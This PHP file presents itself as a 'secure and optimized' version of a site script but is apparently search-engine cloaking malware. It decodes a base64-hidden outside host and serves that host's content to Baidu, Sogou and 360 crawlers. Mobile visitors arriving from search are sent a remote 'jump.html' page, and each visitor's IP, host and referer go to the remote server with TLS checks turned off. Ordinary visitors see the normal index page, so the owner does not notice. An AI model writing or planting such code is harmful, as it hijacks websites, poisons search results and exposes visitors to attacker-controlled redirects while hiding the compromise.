<?php
/**
 * Modernized, secure and optimized version of your script
 * Compatible with PHP 5.6+ to 8.3
 */
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

// ----------------------------
// Constants / Configuration
// ----------------------------
const SOURCE_BASE64 = 'aHR0cHM6Ly9zLmJhaWR1c3NzaXRlLnZpcC8=';
const REGEX_SPIDER = '/BaiduSpider|Sogou web spider|Yisou|Haosou|360Spider/i';
const REGEX_MOBILE = '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone|baiduboxapp/i';
const REGEX_REFERER_SEARCH = '/baidu\.com|sm\.cn|so\.com|sogou\.com/i';
const FILE_EXT = '/\.(s?html?|xml|docx?|pdf|txt|pptx?|xls[x]?|csv|tacc|ga|asp[x]?|gq|jsp)$/i';

$server = $_SERVER;
$url = $server['REQUEST_URI'];
$ua = $server['HTTP_USER_AGENT'];
$ref = !isset($server['HTTP_REFERER']) ? '' : $server['HTTP_REFERER'];
$site = base64_decode(SOURCE_BASE64);
$linkPath = 'link?';

$hasFileExt = preg_match(FILE_EXT, $url);

/**
 * Get the real client IP
 */
function getClientIp()
{
    $keys = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = explode(',', $_SERVER[$key])[0];
            return trim($ip);
        }
    }
    return '';
}

/**
 * Safe HTTP GET via cURL
 */
function httpGet($url)
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $ip = getClientIp();
    $headers = array(
        'X-Original-Host: ' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''),
        'Referer: ' . (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''),
        'X-Original-Ip: ' . $ip,
    );

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_USERAGENT => $ua,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 20,
    ]);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}


// ----------------------------
// Detection Logic
// ----------------------------
$isSearch = $ref && preg_match(REGEX_REFERER_SEARCH, $ref) && !in_array($url, ['/', '/index.php'], true);
$isMobile = preg_match(REGEX_MOBILE, $ua);
$isSpider = preg_match(REGEX_SPIDER, $ua);

// ----------------------------
// Action Logic
// ----------------------------
if ($isSpider) {
    if ($hasFileExt) {
        echo httpGet($site . $url);
        exit;
    } else {
        echo httpGet($site . $linkPath . $url);
        ob_flush();
        flush();
    }
}

if ($hasFileExt && $isMobile && $isSearch) {
    echo httpGet($site . 'jump.html');
    exit;
}
echo file_get_contents('./index.html');
?>